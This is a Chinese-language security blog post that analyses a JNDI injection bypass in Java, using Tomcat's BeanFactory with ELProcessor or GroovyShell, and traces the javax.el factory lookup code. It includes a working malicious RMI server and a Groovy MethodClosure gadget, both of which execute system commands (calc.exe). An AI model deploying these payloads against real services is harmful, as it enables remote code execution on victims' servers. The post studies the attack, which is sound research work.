New JNDI based Groovy

简介: New JNDI based Groovy

缘由


每次Orange大佬更新博客总会带来一些之前没有注意到或者新的姿势,这次在他的博客中,我找到了关于JNDI绕过的方法,也以这次分析,具体的对于采用本地Jar包绕过的原理进行一次分析


分析


首先JNDI触发时,一定会调用lookup寻找调用的类,从lookup方法入手,进行第一部分分析,为了方便第一次接触JNDI的同学学习,贴出所有试验代码


//jndi.java
public class jndi {
    public static void main(String[] args) throws Exception {
        new InitialContext().lookup("rmi://127.0.0.1:1097/Object");
    }
}
//EvilRMIServer.java
public class EvilRMIServer {
    public static void main(String[] args) throws Exception {
         System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);
        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc.exe']).start()\")"));
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}


首先运行


[EvilRMIServer.java]: https://www.veracode.com/blog/research/exploiting-jndi-injections-java "Exploiting JNDI Injections in Java"

再运行jndi.java,观察调用堆栈


//jndi中lookup的调用堆栈
getExpressionFactory:94, Util (javax.el)
getExpressionFactory:30, ELManager (javax.el)
getELContext:35, ELManager (javax.el)
<init>:44, ELProcessor (javax.el)
......
getObjectInstance:148, BeanFactory (org.apache.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:25, jndi (com.cc.demo)


观察


javax.naming.spi.NamingManager.getObjectInstance方法,限定了ref的属性


public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception
{
    ......
    Reference ref = null;
    //传入的refInfo必须继承Reference或Referenceable
    if (refInfo instanceof Reference) {
          ref = (Reference) refInfo;
    } else if (refInfo instanceof Referenceable) {
          ref = ((Referenceable)(refInfo)).getReference();
    }
    if (ref != null) {
            String f = ref.getFactoryClassName();
            if (f != null) {
                // if reference identifies a factory, use exclusively
                /**
                clas = helper.loadClass(factoryName);
                //VersionHelper->class-loading and reading system properties
                static final VersionHelper helper = VersionHelper.getVersionHelper();
                获取到ref中factory代表的类
                **/
                factory = getObjectFactoryFromReference(ref, f);
                if (factory != null) {
                    return factory.getObjectInstance(ref, name, nameCtx,
                                                     environment);
                }
                // No factory found, so return original refInfo.
                // Will reach this point if factory class is not in
                // class path and reference does not contain a URL for it
                return refInfo;
            }
}

从分析注释中可以看出,factoryorg.apache.naming.factory.BeanFactory,进一步跟进org.apache.naming.factory.BeanFactory类的getObjectInstance方法


java //org.apache.naming.factory.BeanFactory public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {                ......
                RefAddr ra = ref.get("forceString");
                Map<String, Method> forced = new HashMap();
                String value;
                String propName;
                int i;
                if (ra != null) {
                    value = (String)ra.getContent();
                    Class<?>[] paramTypes = new Class[]{String.class};
                    String[] arr$ = value.split(",");
                    i = arr$.length;
                    for(int i$ = 0; i$ < i; ++i$) {
                        String param = arr$[i$];
                        param = param.trim();
                        int index = param.indexOf(61);
                        if (index >= 0) {
                            propName = param.substring(index + 1).trim();
                            param = param.substring(0, index).trim();
                        } else {
                            propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
                        }
                        try {
                            //method为String类型的带参方法并与方法名放入Map中
                            forced.put(param, beanClass.getMethod(propName, paramTypes));
                        }
                        ......
                        value = (String)ra.getContent();
                        Object[] valueArray = new Object[1];
                        Method method = (Method)forced.get(propName);
                        if (method != null) {
                            valueArray[0] = value;
                            try {
                                //invoke实现反射调用
                                method.invoke(bean, valueArray);
}

此时已经运行到了invoke方法中,按理说分析应该就结束了,但是此时我踩了个“坑”,由于之前本地先载入过jsp-api.jar`,此时运行会出问题,如下所示

static ExpressionFactory getExpressionFactory() {
        ClassLoader tccl = Thread.currentThread().getContextClassLoader();
        Util.CacheValue cacheValue = null;
        ExpressionFactory factory = null;
        if (tccl == null) {
            cacheValue = nullTcclFactory;
        } else {
            Util.CacheKey key = new Util.CacheKey(tccl);
            //private static final ConcurrentMap<Util.CacheKey, Util.CacheValue> factoryCache = new ConcurrentHashMap();
            cacheValue = (Util.CacheValue)factoryCache.get(key);
            if (cacheValue == null) {
                //newCacheValue为ReentrantReadWriteLock
                Util.CacheValue newCacheValue = new Util.CacheValue();
                //使用putIfAbsent方法添加键值对,如果map集合中没有该key对应的值,则直接添加,并返回null,如果已经存在对应的值,则依旧为原来的值
                cacheValue = (Util.CacheValue)factoryCache.putIfAbsent(key, newCacheValue);
                if (cacheValue == null) {
                    cacheValue = newCacheValue;
                }
            }
        }
        Lock readLock = cacheValue.getLock().readLock();
        readLock.lock();
        try {
            factory = cacheValue.getExpressionFactory();
        } finally {
            readLock.unlock();
        }
        if (factory == null) {
            Lock writeLock = cacheValue.getLock().writeLock();
            writeLock.lock();
            try {
                factory = cacheValue.getExpressionFactory();
                if (factory == null) {
                    //通过前面的分析,最终执行到这里
                    factory = ExpressionFactory.newInstance();
                    cacheValue.setExpressionFactory(factory);
                }
            } finally {
                writeLock.unlock();
            }
        }
        return factory;
    }
public static ExpressionFactory newInstance() {
        return newInstance((Properties)null);
    }
    public static ExpressionFactory newInstance(Properties properties) {
        return (ExpressionFactory)FactoryFinder.find("javax.el.ExpressionFactory", "com.sun.el.ExpressionFactoryImpl", properties);
    }
static Object find(String factoryId, String fallbackClassName, Properties properties) {
        ClassLoader classLoader;
        try {
            //javaee中为WebAppClassLoader类,javase中为ApplicationClassLoader
            classLoader = Thread.currentThread().getContextClassLoader();
        } catch (Exception var13) {
            throw new ELException(var13.toString(), var13);
        }
        String serviceId = "META-INF/services/" + factoryId;
        try {
            InputStream is = null;
            if (classLoader == null) {
                //系统类加载器获取serviceId
                is = ClassLoader.getSystemResourceAsStream(serviceId);
            } else {
                //本类获取serviceId,需要在本类目录下存在META-INF/services/java.el.ExpressionFactory
                is = classLoader.getResourceAsStream(serviceId);
            }
            if (is != null) {
                BufferedReader rd = new BufferedReader(new InputStreamReader(is, "UTF-8"));
                String factoryClassName = rd.readLine();
                rd.close();
                if (factoryClassName != null && !"".equals(factoryClassName)) {
                    return newInstance(factoryClassName, classLoader, properties);
                }
            }
        } catch (Exception var12) {
        }
        String systemProp;
        try {
            systemProp = System.getProperty("java.home");
            String configFile = systemProp + File.separator + "lib" + File.separator + "el.properties";
            File f = new File(configFile);
            if (f.exists()) {
                Properties props = new Properties();
                props.load(new FileInputStream(f));
                String factoryClassName = props.getProperty(factoryId);
                return newInstance(factoryClassName, classLoader, properties);
            }
        } catch (Exception var11) {
        }
        try {
            //获取系统环境中factoryId,com.sun.el.ExpressionFactoryImpl(不存在会报错)
            systemProp = System.getProperty(factoryId);
            if (systemProp != null) {
                return newInstance(systemProp, classLoader, properties);
            }
        } catch (SecurityException var10) {
        }
        if (fallbackClassName == null) {
            throw new ELException("Provider for " + factoryId + " cannot be found", (Throwable)null);
        } else {
            return newInstance(fallbackClassName, classLoader, properties);
        }
    }

因为本身jsp-api.jar不存在com.sun.el.ExpressionFactoryImpl,从系统环境中获取时,应获取el-api.jar中的com.sun.el.ExpressionFactoryImpl,但el-api.jar不在jdk/jre/ext文件夹下,导致获取不到从而报错,解决方式移动el-api.jar到jdk/jre/ext文件夹下。此报错与漏洞分析无关,所以我采取删除jsp-api.jar的lib依赖,接着分析


public static ExpressionFactory newInstance(Properties properties) {
        ......
        if (clazz == null) {
            className = null;
            try {
                Lock writeLock = cacheValue.getLock().writeLock();
                writeLock.lock();
                try {
                    String className = cacheValue.getFactoryClassName();
                    if (className == null) {
                        //文件夹META-INF/services/中、lib中和系统环境变量中获取javax.el.ExpressionFactory,不存在时返回org.apache.el.ExpressionFactoryImpl
                        className = discoverClassName(tccl);
                        cacheValue.setFactoryClassName(className);
                    }
                    if (tccl == null) {
                        clazz = Class.forName(className);
                    } else {
                        //运行到这里获取类,org.apache.el.ExpressionFactoryImpl
                        clazz = tccl.loadClass(className);
                    }
                    cacheValue.setFactoryClass(clazz);
                } finally {
                    writeLock.unlock();
                }
            } catch (ClassNotFoundException var28) {
                throw new ELException("Unable to find ExpressionFactory of type: " + className, var28);
            }
        }
        try {
            Constructor<?> constructor = null;
            if (properties != null) {
                try {
                    constructor = clazz.getConstructor(Properties.class);
                } catch (SecurityException var23) {
                    throw new ELException(var23);
                } catch (NoSuchMethodException var24) {
                }
            }
            if (constructor == null) {
                //最后运行到实例化类
                result = (ExpressionFactory)clazz.newInstance();
            } else {
                result = (ExpressionFactory)constructor.newInstance(properties);
            }
            return result;
        } catch (IllegalAccessException | IllegalArgumentException | InstantiationException var25) {
            throw new ELException("Unable to create ExpressionFactory of type: " + clazz.getName(), var25);
        } catch (InvocationTargetException var26) {
            Throwable cause = var26.getCause();
            Util.handleThrowable(cause);
            throw new ELException("Unable to create ExpressionFactory of type: " + clazz.getName(), var26);
        }
    }


结果


根据之前分析,重新寻找基于GroovyJNDI调用链,可以知道JNDI在本地绕过时还是存在一些限制,使用方法时也需要寻找带有特定参数的方法,最终调用链如下所示


package com.cc.demo;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class EvilRMIServer {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);
        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
//        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
//        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
//        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc.exe']).start()\")"));
        ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString","x=evaluate"));
        ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc.exe')"));
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

Grrovygadget,在低版本中MethodClosure未限制反序列化操作,以下代码可以运行命令

ProcessBuilder processBuilder = new ProcessBuilder("calc.exe");
MethodClosure methodClosure = new MethodClosure(processBuilder, "start");
Expando expando = new Expando();
expando.setProperty("hashCode", methodClosure);
expando.hashCode();

相关文章
|
设计模式 消息中间件 监控
初探RMI设计模式实现大家——JMX(Java Management Extension)
初探RMI设计模式实现大家——JMX(Java Management Extension)
217 0
初探RMI设计模式实现大家——JMX(Java Management Extension)
|
存储 安全 Java
Spring Security(一)--Architecture Overview
Spring Security(一)--Architecture Overview
156 1
ABAP和Java的destination和JNDI
ABAP和Java的destination和JNDI
223 0
ABAP和Java的destination和JNDI
|
前端开发 Java Android开发
ABAP模拟Java Spring依赖注入(Dependency injection)的一个尝试
ABAP模拟Java Spring依赖注入(Dependency injection)的一个尝试
102 0
ABAP模拟Java Spring依赖注入(Dependency injection)的一个尝试
|
Java
Kotlin里的Extension Functions实现原理分析
## Kotlin里的Extension Functions Kotlin里有所谓的扩展函数(Extension Functions),支持给现有的java类增加函数。 * https://kotlinlang.org/docs/reference/extensions.html 比如给`String`增加一个`hello`函数,可以这样子写: ```java
1474 0
|
Java Spring Android开发
|
Java Spring Android开发
|
Java Android开发 应用服务中间件